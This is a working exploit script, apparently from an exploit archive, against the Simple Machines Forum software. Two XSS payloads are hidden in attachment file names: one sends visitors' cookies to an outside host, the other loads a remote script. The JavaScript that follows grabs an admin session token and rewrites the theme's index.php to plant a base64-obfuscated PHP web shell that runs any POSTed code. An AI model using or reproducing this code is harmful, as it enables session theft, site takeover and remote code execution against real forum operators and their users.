attachfilename<img src=. width=1 height=1 onerror=javascript:new&#32Image().src='http:&#47&#47sniffsite.com&#47s.gif?'+document.cookie>.txt

name<img src=. width=1 height=1 onerror=javascript:var&#32s=document.createElement('script');s.src='http:&#47&#47site.com&#47smfexp.js';document.documentElement.firstChild.appendChild(s);>.txt

/*
        SMF Active XSS Exploit by Cenarius
        Email: ooohoow@gmail.com | Icq: 100732

        Adds shell to index.php of default forum's template
*/

var shellCode = "<?php\n\n";
shellCode += "// Try to handle it with the upper level index.php.  (it should know what to do.)\n";
shellCode += "eval(base64_decode('ZWNobyAnPHByZT4nOyBAZXZhbCgkX1BPU1RbJ2NkJ10pOyBlY2hvICc8L3ByZT4nOw=='));\n";  // @eval($_POST['cd']);
shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
shellCode += "   include (dirname(dirname(__FILE__)) . '/index.php');\n";
shellCode += "else\n";
shellCode += "   exit;\n\n?>";

sendRequest("index.php", null, "GET", getSesc);

function getSesc(request) {
    var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/);

    if(sessVerify) {
        sendRequest(
            "index.php?action=theme;th=1;sa=edit",
            "entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1],
            "POST", null);
    }
}

function sendRequest(url, data, method, onLoadFunc) {
    var request = createHttpRequest();

    if(request) {
        request.open(method, url, true);
        
        if(method == "POST") {
            request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); }

        if(onLoadFunc) {
            request.onreadystatechange = function() {
                if(request.readyState == 4) {
                    onLoadFunc(request); }
            }
        }
        request.send(data);
    }
} 

function createHttpRequest() {
    var httpRequest = false;
    try {
        httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
    catch(e) {
        try {
            httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
        catch(e) {
            try {
                httpRequest = new XMLHttpRequest(); }
            catch(e) {
                httpRequest = false;
            }
        }
    }
    return httpRequest;
}

// EOF

@eval($_POST['cd']);